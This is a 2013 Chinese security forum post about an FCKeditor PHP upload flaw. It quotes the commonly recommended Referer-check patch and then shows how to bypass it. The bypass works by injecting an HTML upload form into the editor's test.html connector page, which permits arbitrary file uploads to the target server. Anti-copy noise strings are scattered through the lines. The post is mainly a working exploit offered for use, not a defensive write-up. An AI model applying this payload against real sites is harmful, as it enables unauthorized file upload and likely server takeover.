找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2496|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php/ N( V+ ^* h& D  v  M5 p
网上给出的修复方案是
1 u6 [* _4 I+ t修复方法,删除FCK编辑器用其他的编辑器+ B) D# y! y* r+ _+ [8 `! ]% r
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件* @. {2 `( @; F' s' X6 k2 J2 I
在
$ j5 _0 O; j/ l( I: L4 J% lrequire(‘config.php’);
7 H) i* w2 h& n8 V! crequire(‘util.php’);
$ I& T) f2 O& j的下面添加以下代码—————————–
5 [+ _2 Z+ |, n- A0 ^/ E, X" v! x5 C//防止外部提交
- [# u2 y2 D' d# h/ U& lfunction outsidepost()
1 f* f  ^* Q! f/ j5 L4 d% m' M{
( t6 o* b0 c0 U( c& @/ ]$servername=$_SERVER['SERVER_NAME'];
8 c8 U9 @6 Y6 f" \$sub_from=@$_SERVER['HTTP_REFERER'];
! B6 s6 ^. T) N6 V$ n$sub_len=strlen($servername);
& s& N; q+ Q; S. b8 m$checkfrom=substr($sub_from,7,$sub_len);! p: W9 S" {5 d" O( R; ], e
if($checkfrom!=$servername){) c  Y3 A, f/ c! H/ _) m: O! v
echo(“you don’t outsidepost!”);7 \& W( p) c* B6 J. G6 Z  G, H
exit;2 ?. e6 n5 q1 a- w+ Y
}! Q' r8 D7 G( E. O
}
0 Z, M4 \. p' A- @$ routsidepost();
( R3 v+ @( a$ _: \2 L防止外部提交,但是没有防止内部提交,6 d7 E) A3 H, K4 e4 u
利用方法:4 @+ L, G- R) o; I" n% ]
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
+ {4 }. c) R3 k2,在Current Folder 框输入
# Q. A) a. O$ V9 C; H0 k5 l<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
% ~# s* v3 H& `. e6 [. T然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。- m8 M* ~! f% M8 A+ w8 k. ^' j8 B  c% w
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表